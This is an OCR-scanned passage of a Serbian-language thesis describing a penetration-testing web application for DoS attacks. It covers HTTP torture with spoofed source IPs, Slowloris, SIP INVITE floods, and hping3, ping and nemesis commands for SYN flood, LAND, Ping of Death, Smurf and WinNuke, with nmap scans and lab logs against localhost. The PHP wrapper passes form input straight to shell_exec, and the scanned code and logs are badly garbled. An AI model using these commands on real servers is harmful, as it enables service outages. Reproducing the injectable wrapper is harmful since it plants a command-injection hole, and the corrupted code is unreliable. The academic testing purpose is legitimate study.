What is Pantration Enter the destination port:
Byl
eing
Attack
(2HTTP Slow Dos Attack :
Enter the destination domain
Enter the destinabion port:
Altack

Slika 12: HTTP DoS napad

Ova aplikacija moze da obavlja dve vrste HTTP DoS napada:

1. HTTP Torture napad
2. HTTP Slow DoS napad

27 | Strana
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8.1.1.1. HTTP Torture napad

Pomocu ove aplikacije, napravili smo test za obavljanje HTTP Torture
napada, da bi se procenila robusnost HTTP protokola. Ovaj test se sastoji iz stotina
ponavljanja ovog napada. Tipi¢no, svaki od testova sadrzi neke izuzete elemente.
Izuzeti elementi su tipovi ulaznih podataka koji nisu uzeti u obzir prilikom
implementacije softvera i stoga moZze izazvati nepozeno ponasanje. Genericka lista
izuzezih elemenata je data u narednoj tabeli.

Name Description
empty Omitted (empty) element content
ipv4-ascii Exceptional Ipv4 adresses in ascii

overflow-general

‘a’ (0x61) character owerflows up to 128k

overflow-slash

Overflows of '/' up to 128 kbytes

overflow-colon

Overflows of ":' up to 128 kbytes

overflow-space

Overflows of ' ' up to 128 kbytes

overflow-null

Overflows of 0x61 and nulls (0x00) mixed

overflow-leftbracket

Overflows of '<' up to 128k

overflow-rightbracket

Overflows of '>' up to 128k

overflow-at Overflows of '@' up to 128k
overflow-equal Overflows of '=' up to 128k

fmtstring Format strings (eg. %5%s%s or %.4097d)
utf-8 Malformed UTF-8 sequences

integer-ascii Pos/Neg ASCII encoded integers
ansi-escape Malformed ANSI escape sequences
sip-version Malformed "SIP/2.0"

content-type Malformed "application/sdp"

sip-URI Malformed SIP-URI

sip-tag Malformed tags

crif Arrangements of CR (0x0d) and LF (0x0a)

Tabela 2: Izuzeti elementi

U ovom napadu server je preplavljen sa hiljadama vazecih i nevazec¢ih HTTP
zahteva koji sadrze iznad navedene elemente. Postoje serveri kao Sto je Apache
koji su dizajnirani da blokiraju viSe zahteva upucéenih sa jedne masine. U cilju
reSavanja ovog problema, realizovali smo napad na takav nacin da svaki zahtev
izgleda kao da je poslat sa razli¢Cite masine, iako su zahtevi poslati samo sa jedne
masine. To se sprovodi otvaranjem novog TCP soketa svaki put kada je zahtev
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poslat, putem dinamicki generisanih IP adresa. Dinamicke IP adrese se

jednostavno generiSu putem .exe fajla koje sadrze komande prikazane na narednoj
slici.

ifconfigeth1:0 10.0.2.16
ifconfigethl:1 10.0.2.17
ifconfigeth1:2 10.0.2.18

ifconfigeth1:3 10.0.2.19

Slika 13: Izgled skripte za dinamicko generisanje IP adrese

Kada se izvrSava napad, ova skripta Cita dinamicki generisane IP adrese i
Salje zahtev sa razliCite IP adrese razli¢itog broja porta. JAVA kod koji obavlja ovaj
deo napada je prikazan na narednoj slici.

int  lport =5000;
f/AT the dndex is 6 set it ageinto 1

if(ipindex -- 6) 9pIndex -1
index = ipIndax. tostring();

S/aet new ip address each time )
InetAaddress Tocaladdr=InetAddress. getByname( ' 1IP-"+index);

//oet new port each time
Tport+s;
s/open socket on Tocalhost on port 80

Socket cliertSocket - new Socket(demain,port,localAddr, lport);
ipIndes++;

Slika 14: JAVA kod za generisanje dinamicke IP adrese



Neven BeZanovic¢

Tekstualni fajlovi se koriste za skladistenje uzoraka testiranja. Uzorak
nevazeteg zahteva unutar ovih testiranja je prikazan na narednoj slici. Svaki
zahtev je odvojen sa znakom “#".

15843
3 1 9 A L R 0 L T S A L S
ET /index.htal HTTP/1.1

pst: localhost

ser-Agent: Mozilla/5.0 (X11; U; Linux 1686; en-US; rv:1.9.1.3) G2cko/20691620 Ubuntu/9.10 |
ceept: /

ccept-Language: en-us,en;q=8.5

ccept-Encoding: gzip,deflate

ccept-Charset: 150-8859-1,utf-8;0<6.7,%;0:6.7

eep-Alive: FIJOGTEI0]

onnection; keep-alive

B3 Si'uuﬂzuy'uucsr Jindex.htal HTTP/1.1

bst: localhost

ser-Agent: Mozilla/5.0 (X11; U; Linux 1686; en-US; rv:1.9.1.3) Gecko/26691620 Ubuntus9.18 |
ceept: /

Ccept-Lanquage: en-us,en;q=d.5

ccept-Encoding: gzip,deflate

ccept-Charset: 150-8859-1,utf-8;¢=0.7,%;0=0.7

pep-Alive: 389

onnection: keep-alive

803 BLL+LL0LELYLLLIBLIL+LLOLLLYLLEIBIE AL QDAL JLLLABIL LR LLYLLLLBIL L ILEL YELLLBLL-LLOLLYY

ceept: /
Ceept-Lanquage: en-us,en;q=d.5
ccept-Encoding: gzip,deflate

Slika 15: Nevazeci HTTP zahtevi
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Funkcija prikazana na slici broj 16 Cita ove poruke iz fajla i Salje svaku
poruku na server. Kada se ovi zahtevi Salju na server, server Salje nazad HTTP
odgovor. Dobijeni odgovor se skladisti u log fajl. Neki serveri, na primer Apache,
vraca HTTP odgovor sa odgovarajuéim kodom o gresci. Kada se na hiljade zahteva
Salje na server, jedan za drugim, serveru treba viSe vremena da odgovori na
ispravne zahteve. Da bi se izvrSio ovaj napad koristeéi ovu aplikaciju korisnik treba
da obezbedi IP adresu i broj porta na kome ciljani server radi.

pubTic vaidl sendWessage(q
ff repeat until 211 Tines s read

bdNn (lenue - ansslss anssl 4nnl
ﬂl 14 \\L:" |=CU5 4 V8] |:\'

ff a0 al1 Tines ex egt

.

i (‘text.equels('t")
contents. app:nd( tet). append(System. getproperty( Tine, separatee));

1o 1Y S
=AU

j
#

£ (nce you encourter hash print the sentence.
if {tevt.equls("#)) {
{f show cortents here
sentence = contents. tostring();
[fincranent the index.
cacker clieatcadiet - new Socket(domin 00rt, localaddr . Tpoet)s

- T Rl 40 P dv Vel ViTe iy Y TVeuiiTws 3 Ipw sy

lpIndess+,
if (rli»ntSurm u11) contine;
{{send message to the server
u.taomput‘tredn outToServer = new DatatutputStrean(clientSocket. gettutput Strean());
/read Message. from the server
Eufferedneader irfroserver - mew Bufferedneadee (new Irputstreanpeader (clientSocket. getInputStrean()));
{fsend 10 the seryer
outToserver, wr iteBytes(sentence + \n' + "\n');
/fvead resporse badk fron the server

nonifiedsertence = InFramserver. readLine();

systen. out.peintIn{'FaoN SERVER: * + modifiedSentence);

Systen. out.primin("Tine required for message” + 14 ™ 15 ¢ + Systen. currentringniTis());

T+

S Te response 1o & f1le

Filewriter fstream = new Fileariter("/opt/lanpp/rdocs/out /out "+t ")

sufferedariter out = new Bufferedwriter(fstream):

out. wite(modifiedsentence);

f{Close the output stream

out. close();
¢lientsacket. close();

fstrean. close();

Slika 16: HTTP klijent klasa
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Rezultati testiranja

Nakon zavrSetka napada, generiSe se log fajl koji je prikazan na narednoj
slici.
FROM SERVER: HTTP/1.1 206 OK
Time required for messaged is # 1305441171322
FROM SERVER: HTTP/1.1 406 Bad Request
Time required for messagel is # 1305441171416
FROM SERVER: HTTP/1.1 406 Bad Request
Time required for message2 Ls # 1305441171441
Time required for messagel® 1s # 1305441172163
FROM SERVER; <7xml version="1.0" encoding="150-8859-1"7>
Time required for messagell 1s # 1305441172228
FROM SERVER: HTTP/1.1 414 Request-URI Too Large
rime required for messagel3 is # 1305441172636
FROM SERVER: HTTP/1.1 414 Request-URI Too Large
Time required for messageld is # 1305441173072
Time required for messageds8 is # 1305441178660
FROM SERVER: HTTP/1.1 501 Method Not Implemented
Time required for message49 is # 1305441178672
FROM SERVER: HTTP/1.1 501 Method Not Implemented
Time required for message50 1s # 1305441178684
FROM SERVER: HTTP/1.1 406 Bad Request
Time required for message52 is # 1305441178762
Time required for message68 1s # 1305441178866
FROM SERVER: «<?xml version="1.0" encoding="IS0-8859-1"7»
Time required for message69 is # 1305441178876
FROM SERVER: HTTP/1.1 406 Bad Request
Time required for message70 is # 1305441178882
FROM SERVER: HTTP/1.1 406 Bad Request
Time required for message6383 1s # 1305441235436
FROM SERVER: HTTP/1.1 206 OK

Slika 17: Log fajlovi HTTP Torture testa
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Pomenuti log fajl se koristi da pokaZze izlazne parametre u vidu grafikona.

Slika 18: Graficki prikaz izlaznih parametara

Na grafikonu iznad, prikazan je broj poslatih zahteva, kao i prikaz vremena
u milisekundama koje je potrebno da se dobije odgovor od servera. Korisnik moze
da vidi izlazne parametre napada u vidu log fajlova, vidu grafikona ili moze
proveriti log fajlove servera nad kojim je test izvrSen. Na narednoj slici se moze
videti log fajl servera.
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e pr 86 005720 202 erro][client 18,8.2.16] o aceytable vrian: Jopegereo T BKD EREST bl vr

(i Aor 06 61:57:20 202 [erro] {client 10.0.2.17] Invalid AT in requet 472 At T e Ml HPA.)
(i Apr 66 61:57:20 281 [erro] client 16.8.2.11] no acceptable variant: /opt/Lage/error/HTTP 84 ECWEST b, var

e Ar 66 L:57:20 201 [rro] [eent 1,6.006] Il I In reuest 464 \xEswfenticwiawtatitwtantatatutautantateidu|
ffd\affo\uteayetentoyetovntiteyufd Ger /Indes,tal HTTR/L.1

e pr 86 80:57:20 28 error] [client 1.8.218] o aceptale varian: optegerro TP B4D EQUST Al v

e Apr 86 015720 202 [eror] (et 10.0,2.19 Ivid AT i st 530 \fufiEqERERER R Rt
\td\tdetd\tdtdtetetedetetewtetautatatatatatatautadararararaaaatututdtuddududdudduddud
fdte\teo\fofatatewteutondowtafoutartewtondonowttaniudasutareutaetsudaoutareutarentoudaoutare
oo foeufaewandontowtaeutaewtaydontoutoewraedoutadeuodetoutoioutardeuts Ger /inderhtal M1

(i Apr 86 8L:57:20 2612 [error] [client 10.0.2.18] m acttptahle vriant: optLg/erro TP BAD EQUST Al v

e Ao 86 015720 202 [eror] (it 1.0,2.5] Tvid AT in st 724 \fufiEqERERVER R Rt
fddttdtetdtutdutowtatwtdutoutetwtdutoutartuttutautatatuteutdtdututoutrttutoutdautouidrs
Ittt ehateteatet ettt dbdbtdt et bttt dbdt ettt
fewddfnfoufafdutadewtawfondowdwtaewtaudondowaeuoutefeuaewtadeutoutenfouareutadeutouteutoutoriou
|0\l el ol el i\ ufhufehufeh e\ \uf\ufhufehnfeh e\ttt nfehfeh ot
\fd\efa\eta\efabefaefalfatadadawtatautautautautauthahaarddddaddddudtotudtaitiitdtddddddidiii
tutdutdtdtttdutotettdutowtetttdutowtanttutdwtoutaut ittt dtutdutdddtutaut ittt ddiuta
fl\td\tetddtutdtdutotewtatatwtdutdutowtontataiadutdutaudautaaadutdutoudaardratutdutdudr
(O\fetetetafewofottfowtontondewtotewtafowtifowtudeutarisudatoudentaeuadeutarsudartiudantaeutarout
nfdfdyuffovetendatewtafatafataawfoaudewtaiewtafeadetaeutaeuteutoudetafeutaoutaoututouidnls
dtddddtttbtttttatdutoutoetoetovetovetoltavdaudautaudautautautautautautautautautaaarardrara
fodttfowtitutoutitouteutautdutauttutoutarutouthututut ettt uta ettt dtutdudr
fuetd\tetedttdtdtotetatatuttutdutoutontantatutatutdutaudoutaaratutdutoudautadaratutdutduiu
e fd\wFhEO\ O\ e\t fe\w o Fd\wFeh G\ FeV O\ e\ fe\wFhfecd\td GeT /dndex, el HTTR/ 1.1

[ed Apr 08 61:57:20 200] [eror] [cent 16,2, 15] oo acceptabe varlnt: Joptegerron TP 840 REQUEST At vr

e Apr 86 81:57:20 201) [error] [cient 10.8.2.6] Tovalid URT i rquest 474 \ehafe\afhfehafelafhfehafolaffe\afoeffd GeT /iden bt TR/

Slika 19: Log fajl Apache servera
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8.1.1.2. HTTP Slow DoS napad

Ovaj napad se izvodi pomoéu open-source program, koji se koristi za HTTP
DoS napade koji se naziva Slowloris. Ovaj program zauzima veci deo propusnog
opsega servera. Veze se odrzavaju u Zivotu slanjem HTTP zaglavlja u redovnim
intervalima. Ovaj crv je uspeSan u tome da ucini server potpuno nedostupnim.
Posebno je efikasan protiv servera koji podrzavaju multithreading. Korisnik putem
ove aplikacije moze jednostavno da izvrSi ovaj napad pruzanjem IP adrese i broj
porta ciljanog servera. Kada napad pocne, server ne reaguje na vazecCe zahteve u
roku od samo nekoliko minuta. Iako je napad u toku, log fajlovi se ne generisu.
Prednost ove funkcije je da iako je veb server oboren, niko ne moze otkloniti
neispravnost pomocu log fajlova da bi se video uzrok zastoja servera. Kada se
napad zavrSi sve greske od strane servera se generiSu u vidu log fajlova. Na
narednoj slici mozemo videti kako izgleda skripta koja generise Slow DoS napad.

<7php

fdomain = §_POST[ domain’];

$port = §_POST[ port'];

$c0mmand cd = "cd /opt/1ampp/htdocs/

§command = "per1 slowloris.pl -dns $cdomain fport”;
foutput = shell exec($command),

print “<prexfoutput</pres>",

7>

Slika 20: Slow DoS skripta za napad

Rezultati testiranja

Pre pokretanja ovog napada, iskoristili smo Nmap da bi se proverili otvoreni
portovi i usluge koje rade na odredenim portovima. IzvrSenje komande “nmap
localhost” na komandnoj liniji, prikazuje nam izlazne parametre prikazane na
narednoj slici. Izlazni parametri nam pokazuju da HTTP servis radi na portu 80.
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Starting fimap 5.0 ( http://nnap.orq | at 2011-04-03 21:04 EOT
Warning: Hostnane localhost resolves to 2 IPs, Using 127.9.6.1,
Interesting ports on localhost (127.0.0.1):

Not shown: 995 closed ports

PR STATE SEAVICE

80/tcp  open http
i —— |
631/tcp open 1pp
3306/tcp open mysql
Nnap done: 1 IP address (1 host up) scamned 1n 9,40 seconds |

Slika 21: Nmap skeniranje pre pocetka napada

Izlazni parametri posle pokretanja napada se mogu videti na narednoj slici.

BULTOLNG SOCRELS.
Building sockets.

Building sockets.

Sending data.
Current stats: Slowloris has now sent 1159 packets successfully.
This thread now sleeping for 180 seconds...

Sending data.
Current stats: Slowloris has now sent 1216 packets successfully.
This thread now sleeping for 180 seconds...

Sending data.
Current stats: Slowloris has now sent 1367 packets successfully.
This thread now sleeping for 180 seconds...

Sending data.
Current stats: Slowloris has now sent 1708 packets successfully.
This thread now sleeping for 180 seconds...

Slika 22 Izlazni parametri Slowloris-a
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Iako je napad jos u toku, server prestaje da reaguje na validne zahteve. Ako
se ponovo izvrSi komanda “nmap localhost” posle nekoliko minuta, mozemo videti
da je port 80 filtriran.

0://nap.org | at 2011-84-03 21:06
tresolvest ZIPs U sing 127.0,
lost 12,6

tA0.1):

art1ng Mnap 5.8 { Att
arnlng Hostrane localh s
Interesting ports on Local

ot shoun: 995 closed ports
E

il
A

0
ORT STATE SEAVI(

nap done: 1 1P address (1 host up) Scamned 10 2,77 seconds

Slika 23: Nmap skeniranje porta posle izvrsenog napada

Koriste¢i Hping mozemo potvrditi da se port filtrira. Ako se port filtrira, onda
je gubitak paketa 100%.
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using lo, addr: 127.0.0.1, MTU: 16436

HPING 127.6.0.1 (lo 127.0.0.1): S set, 40 headers + © data bytes
len=60 1p=127.0.9.1 tt1=64 DF id=0 tos=6 iplen=60

sport=80 flags=SA seq=0 win=32768 rtt=0.0 ns

$€0=3915367828 ack=3925484941 sum=bb23 urp=0

len=52 1p=127.0.9.1 ttl=64 DF 1d=41817 tos=0 iplen=52
sport=80 flags=A seq=0 win=1058 rtt=0.0 ms
5eq=3915367829 ack=3925485167 sun=da®7 urp=0

len=60 1p=127.0.0.1 tt1=64 DF 1d=0 tos=€ 1iplen=60

sport=080 flags=SA seq=0 win=32768 rtt=0.0 ms
5€0q=391814610€ ack=3919934223 sum=c271 urp=0

len=52 ip=127.0.0.1 tt1=64 DF id=19704 tos=0 iplen=52

sport=80 flags=A seq=0 win=1058 rtt=0.0 ms
$€q=3918146101 ack=3919934449 sum=df55 urp=0

- 127.0.0.1 hping statistic ---
1 packets transmitted, 4 packets received, -300% packet loss
round-trip min/avg/max = 6.0/0.0/0.6 ns

Slika 24: Hping izlazni parametri nakon izvrsenog napada

Kada upotebimo ping komadnu nad serverom koriste¢éi Nmap (nmap —sP
—PT 80 127.0.0.1 ), zapravo mozemo videti da je server oboren.

Nnap done: 1 IP address (1 host up) scanned 1n 2,77 seconds
nehagneha- Laptop:~$ nnap -sP -PT8H 127.6.0.1

D://mnap.orq ) at 2011-64-03 21:67 EOT

 [f 1t 15 really up, but blocking our ping probes,

(0 hosts up) Scanned 1n 2,08 seconds

Slika 25 Izlazni parametri nakon “pingovanja” servera pomocu Nmap-a
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Izlazni parametri iz serverskih log fajlova se mogu videti na narednoj slici.

e 100 cqusoct O cousock 190 colsock 208 cqtsock 20 cqusnek O cansnek, G e og php e Log
CUSOc 10 qusck OBDcqiock, 938 cqsuk, 205 cpsock 2290 cotsok 280 cquck 587 Aetd s rguest g

S or 83 20005 2800 ] (clint 006,00 st e e reain te Desr
S or 83 20005 2812 Jerr] (clint 006,01 reest ae: e reain te eser
S r 8 200153 0] eror) [client 000,01 reest alld: ener eang the Beaers
S or 83 200054 2812 [err] (clint 006,01 reest ae e reain te eser
S M 0 200058 2800 [ero] (it 100.80.1] reest alld: error reading te s
S o 83 20050 2800 eror(ciet 120,01 reuest e err reaing te e
S or 9 200000 81 eror) [cient 100001 st alled: ener eang the e
S g 83 200 2802 eror (ciet 120,01 reuest aled: err reaing te Deers
S r 9 2000 1] eror) [cient 100001 reest alld: ener eang the Beaers
S0 or 83 2006 2812 [err] (clint 006,00 reest e e reain te esr

Slika 26: Log fajl Apache servera
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8.1.2. DoS napadi na SIP protokol

SIP DoS napad se moze izvrsti slanjem zlonamernih paketa ili
preplavljanjem servera sa porukama kao Sto su ,register" i ,invite". Razlog za
testiranje SIP-a je taj, da SIP postaje sve popularinji medu komapnijama kao Sto
su Cisco i Microsoft. Tokom testiranja nevazele ,invite"poruke se Salju na SIP
server, kako bi se pokrenuo SIP parser i time procenila robusnost servera. Pen
Test Pro aplikacija je dizajnirana da iskoriste poruku ,invite", jer SIP entiteti moraju
da podrzavaju metod ,invite". Cinjenica da korisnici prihvataju bilo koje dolazne
zahteve bez predhodnog podeSavanja sesije i Cini SIP ranjivim. Napad koristi
sledece korake:

Salje se INVITE poruka podrazumevanom SIP portu 5060 preko UDP-a.
Salje se CANCEL zahtev.

Salje se ACK za obustavu.

Salje se validni INVITE.

Salje se ponovo CANCEL zahtev za vazedi INVITE.

Salje se ACK za vazedi INVITE

ouhwn =

Posle savake INVITE poruke, Salje se zahtev za obustavu sesije sa komandama
CANCEL i ACK, jer posto je automatizovani test ne postoji intervencija za odbijanje
dolaznog poziva. Na narednoj slici moZzemo videti kako izgleda graficki interfejs za
testiranje SIP protokola.
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PenTestPro

Evaluate the security of your system

SIP Protocol Based Attacks

Test your system against various vulnerabilities,

SIP Torture test allows you to stress SIP Parser

SIP Torture Testing :

Related Links

Enter the destination domain: ]

B What are DOS attacks?

. HTTP Slowloris DOS Enter the destination port: |
attacks

B 517 D0S attacks

What s Pentration Attack |
lesting?

Slika 27: Graficki interfejs SIP torture testa

Kod koji je prikazan na slici ispod se koristi za testiranje SIP tourture.

pihe

error_r?orting (EALL 4 £ MITICE];

Scaman = ez <ar c7-siperZ.Jar -tourd nehakl2r,0.0.1 teardoun ~Toort 5000 -showsert ~showregly’
Sout utﬁle- /oﬁtﬂ p}mdocsfsm

Spiarile = *Jogtangg edacs S0

exec(sprmtf s >%s!>&1&echoi' w8, Joomand, foutgutfile, Siofile));

P

Slika 28: Kod za testiranje SIP torture

41 | Strana



Neven BeZanovic¢

Kada napad pocne, hiljade nevazecih SIP zahteva se Salje na SIP server.
Server Salje odgovor nazad na svaku poruku. Odgovori servera se Cuvaju u log

fajlovima. Na narednoj slici moZzemo videti kako izglda log fajl SIP servera.

(0000048
(0000064
(0000080
(00000096
00000112
00000128
00000144
00000160
00000176
00000192
00000208
(00000224
(00000240
00000236
00000272
(0000288
(0000204
00000320
00000336

sending TesT-Case #LA7(
test-case #1870, 300 bytes

74 6f 70 33 35 30 30 30 30 30 62 72 £1 6o 63 68
Id 72 39 68 47 34 62 4 30 30 30 30 31 38 37 30
30 30 2L 28 37 30 2b 72 65 62 &5 60 76 65 o4 3d
3l 32 247 22 20 22 20 2e 31 O Da 46 72 of od 3
2031 38 37 20 20 3¢ 7369 70 3275 73 65 72 40
he BY 68 BL 2d B¢ 81 70 74 of 70 32 3h 74 6l 67
30 31 %8 37 30 04 0a 54 Af 33 20 52 BS A3 AY A9
76 65 72 20 3C TR A9 70 34 T3 B9 70 7S 73 85 72
40 6¢ 67 63 61 6C 68 6f 73 74 30 30 74 61 A7 3d
3135 35 63 33 34 30 66 39 38 36 63 37 38 H4 30
33 30 30 63 906 35 €1 30 €3 63 06 39 30 64 39 39
2d 30 34 65 66 0d Qa 43 61 6c B¢ 2d 49 44 3z 20
3138 37 30 40 62 65 68 61 2d B¢ 61 70 74 &f 70
Od Oa 43 52 65 71 3a 20 31 20 49 4e 56 40 54 45
0d 0a 53 65 72 76 65 72 3a 20 4f 70 B9 6e 53 49
G0 52 20 28 2L 22 26 2e 23 2d Ge 6F 74 6c 73 20
28 60 322 28 26 2f G¢ 60 Ge 75 78 20 20 Od Da 42
Of be 74 65 6o 74 2d 4c &5 6e o7 71 68 33 20 30
0d 0z Od 02

Received Returncode: 404

00000000 93 49 90 2f 32 2e 30 20 3¢ 30 34 20 de 6F 74 20 SIP/2.0 404 not
00000016 46 6f 75 62 64 0d (a 56 69 61 3a 20 53 49 50 2F Found..Via: 31/
00000032 32 2e 30 2f 55 44 50 20 Ge 65 68 61 2d 6c 61 70

2,0/Upp neha—]aﬁ
tog:SOOOO;branc
hG44K00001870
0018703 received=
127,001, From:
1870 «sipiuserd
neha-]aptop>;ta?
=1870..70! Rece
ver «sip:sipuser
@1ocalh051>:[ag=
155¢340F586c2840
300cf 5a6ccfo0d3g
-0def, . Cal1-10:
18708nzha-Tagtop
. Coeq 1 INVITE
. Servers Opensl
PS (1.6,2-notls
(1286/1inux))..C
ontent-Length: 0

2

Slika 29: Log fajl posle testiranja SIP torture napada
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8.1.3. Napadi na TCP/IP protokol

U nasem testu smo testirali 20 TCP/IP DoS napada. Napadi se izvode
preplavljanjem servera sa kontinurianim zahtevima. Za realizaciju ovih napada
koristili smo Nmap i Hping alate. Ovi alati pomazu da se naprave zlonamerni paketi
koji mogu neprestano da se Salju na server. Korisnik samo treba da obezbedi IP
adresu ciljanog servera. Ovi napadi su koriS¢eni za testiranje zastitnog zida. Gore
navedeni alati mogu da obavljaju napade koji su prikazani u tabeli ispod.

Vrste napada

XMAS napad

Spoofing napad

IP Uknown Protocol napad
WINUKE napad

TCP Timestamp napad
Ping Flood napad

SIP broadcast napad

SIP Multicast napad

LAND napad

IP Sweep Scan napad

Ping of Death napad

IP Record Route napad
Open Port Scan

IP Timestamp napad

SYN Flood napad

Network Performance

IP Strict Source Route napad
Loose Source Route napad
Port Scan napad

Tabela 3: TCP lista napada
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SYN FLOOD

SYN FLOOD napad je metod DoS napada. Ova vrsta napada se vrsi slanjem
mnogo SYN zahteva na server, Cime se preoptereCuje server. Zbog
preteranog broja poslatih zahteva, server nije u stanju da odgovori na sve
zahteve. Ove na pola otvorene veze ka serveru, prouzrokuju usrkacdivanje
usluga za legitimne zahteve. Ako se server preplavi zahtevima, postoji
mogucnost da server bude oboren. Da bi se izvrSio ovaj napad potrebno je
iskoristiti hping alat. Jednostavna skripta se koristi za obavljanje ovog
napada:

sudo —u root =S hping3 -/ ethl —a 10.0.2.15 =5 10.0.2.16 —p 80 —/ u1000 <
password

PING OF DEATH (PoD)

Noramaln TCP/IP paket ima maksimalnu veli¢inu od 65536 bajtova. Paketi
iznad maksimalne veli¢ine se automacki ponistavaju. Medutim, IP paketi se
mogu podeliti u manje delove fragmentacijom. PoD napad Salje jedan paket
koji je veli od dozvoljene veliCine, ali tako nakon fragmentacije ovog
paketa, ti manji fragmenti budu veéi od ograni¢ene veli¢ine. Zbog toga se
sistem moze srusti dok prima ovakve pakete. Naredna komanda se koristi za
obavljanje ovog napada:

ping -/ 65510 10.10.20.101

LOCAL AREA DENIAL ATTACK (LAND)

Napad se izvodi u toku TCP ,rukovanja“, slanjem laznih (spoofovanih)
paketa. Paket je ,spoofovan®, odnostno ima istu IP adresu za izvoriste i
odrediste. Ovo moze da prouzrokuje ciljanu masinu, da ,misli* da prima
poruku od same sebe, i time usporava sa radom ili u nekim slucajevima
dovodi do pada sistema. Za ovaj tip napada je utvrdeno da utiCu na
Windows 95, NT i XP sisteme. U datoj komandi koja se koristi za ovaj
napad, $domain je IP adresa ciljane masine:

sudo —u root =S hping3 =S —a $domain —p 21 $domain — u1000 < password
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O O O O

SMURF ATTACK

Smurf napad koristi Internet Control Message Protocol (ICMP) zahtev da bi
preplavio mrezu zrtve. ICMP zahtev se vrSi slanjem paketa na ciljanu
masinu. Ciljana masina odgovara na zahtev slanjem ICMP odgovora. Ovo
potvrduje da je masina povezana na mrezu. Kada se posSalje neki ICMP
zahtev njegova IP adresa se emituje kroz mrezu i distribuira se na sve
masine u mrezi. Smurf napad se vrsi slanjem ICMP zahteva, sa IP adrese
ciliane Zrtve. Stoga, zrtva Ce dobiti viSe ICMP odgovora, stvarajudi
zagusSenje mreze. Naredna komanda se koristi za obavljanje ovog napada:

ping =t 100 —s 10000 —f $domain —i 2
WINNUKE ATTACK

WinNuke napad je vrsta DoS napada koja utice na masine koje su pod
Windows operativnim sistemom. Ovaj napad se obi¢no obavlja preko porta
broj 139 i Salje out-of-band (OOB) podatke na IP adresu bilo koje Windows
masine. Ako windows masina ne moZe da upravlja ovim podacima, dolazi do
pada sistema ili do gubitka veze u mrezi. Ovaj napad se vrsSi pomocu
softverskog alata zvanog ,Nemesis", kojim se koristi jednostavna komanda
za obavljanje ovog napada:

for {set i 1} {$i<=100000} {incr i} {
puts [exec nemesis tcp -fU -u 890 -x 16788 -y 139 -d ethl -D
10.0.2.15]

4

o Gde su:
—f = podeSavanje TCP URG flag-a
—u = urgent pointer
—s = port izvorista
—d = port odredista
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» PORT SCAN ATTACK

Napad skeniranja portova je vrsta napada koja se koristi da se pronadu
nacini da se probije u sistem. To podrazumeva slanje poruka ka svakom
portu u isto vreme, i utvrdivanje stanja porta na osnovu primljenog
odgovora. Ovaj napad se izvodi pomocu Nmap i Hping alata. Na sledecoj
slici je prikazana skripta koja se koristi za obavljanje ovog napada.

hping --scan 10-100 10.10.20.179 -3 uL000 #it Does open port scaming

map -55 10.10.20,52 # It does TCP port scanning
rmap 10.10.20, 52 # 1T does same a1l TCR/UDR Open port scanntng

map -sT 10.10.20,52 # It does TCP connect scan
mmap -sU 10,10.20,52 # It does UOP scans

nmap -sN 10,10,20,52 #7CP NULL SCAN

mmap -sF 10,10.20,32 # TCP FIN SCAN

mmap -5X 10,10,20,52 # XMAS SCANNING

mmap -sA 10.10,20,32 # TCP ACK Scan

rmap =sw 10.10,20,52 # TCF window 5can

map -sh 10.10,20,52 # TCP Ma‘mon Scan

mmap -s0 10.10,20,52 #1P protocol scan : Tt allows you to determine which 1P
protocols (TCP, ICHP, IGWP, etc.) are supported by target machines.

mmap -p 10-3C # POrt range scen

map - 10.10,20,52 # RPC scan

map -sP 10.10.20.52 #ing scan

Slika 30: Fajl za Port Scan napad
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Rezultati testiranja

U narednom delu rezultate DoS napada na TCP/IP:

LEN=40 LID=147.0.0.1 LLL=04 Ur LU=U SDOTL=144 | LdUS=RA SEU=Y4 WIN=Y [LL=U. 49 0y
len=40 ip=127.0.0.1 tt1=64 DF id=6 sport=145 flags=RA seq=95 win=0 rtt=0.4 ns
len=40 1p=127.0.0.1 tt1=64 DF 1d=6 sport=150 flags=RA seq=100 win=0 rtt=1.4 ms
len=40 1p=127.0.0.1 tti=64 DF id=6 sport=154 flags=RA <eq=104 win=0 rtt=0.06 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=0 sport=157 flags=RA seq=107 win=0 rtt=0.7 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=6 sport=158 flags=RA $eq=108 win=0 rtt=0.9 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=6 sport=159 flags=RA $eq=109 win=0 rtt=0.9 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=6 sport=161 flags=RA seq=111 win=0 rtt=0.2 ms
len=40 1p=127.0.0.1 tt1=64 DF id=0 sport=164 flags=RA seq=114 win=0 rtt=0.5 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=6 sport=166 flags=RA seq=116 win=0 rtt=0.0 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=6 sport=174 flags=RA seq=124 win=0 rtt=0.3 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=6 sport=178 flags=RA seq=128 win=0 rtt=0.4 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=6 sport=182 flags=RA <eq=132 win=0 rtt=0.0 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=0 sport=189 flags=RA seq=139 win=0 rtt=0.5 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=6 sport=191 flags=RA seq=141 win=0 rtt=0.4 ms
len=40 1p=127.0.0.1 tt1=64 DF id=0 sport=192 flags=RA seq=142 win=0 rtt=1.5 ms
len=40 ip=127.0.0.1 tt1=64 DF id=6 sport=194 flags=RA seq=144 win=0 rtt=0.6 ms
len=40 1p=127.0.0.1 tt1=64 DF 1d=6 sport=195 flags=RA seq=145 win=0 rtt=0.0 ms
g’

-+= 127.0.0.1 hping statistic ---

146 packets transnitted, 57 packets received, 61% packet l0ss

round-trip min/avg/max = 6.9/0.5/2.3 ms

Slika 31: Izlazni parametri IP record route napada

47 | Strana



Neven BeZanovic¢

len=40 1p=127.0.0.1 tt1=64 DF 1d=0 sport=0 flags=RA seq=0 win=0 rtt=0.0 ms
len=40 1p=127.0.0.1 tt1=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.0 ms
len=40 1p=127.0.0.1 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.0 ms
len=40 1p=127.0.0.1 tt1=64 1d=46236 icmp seq=7 rtt=0.8 ms

ICMP timestanp: Originate=7790136 Receive=7790136 Transmit=7790136

ICMP timestamp RTT tsrtt=l

len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.0 ms
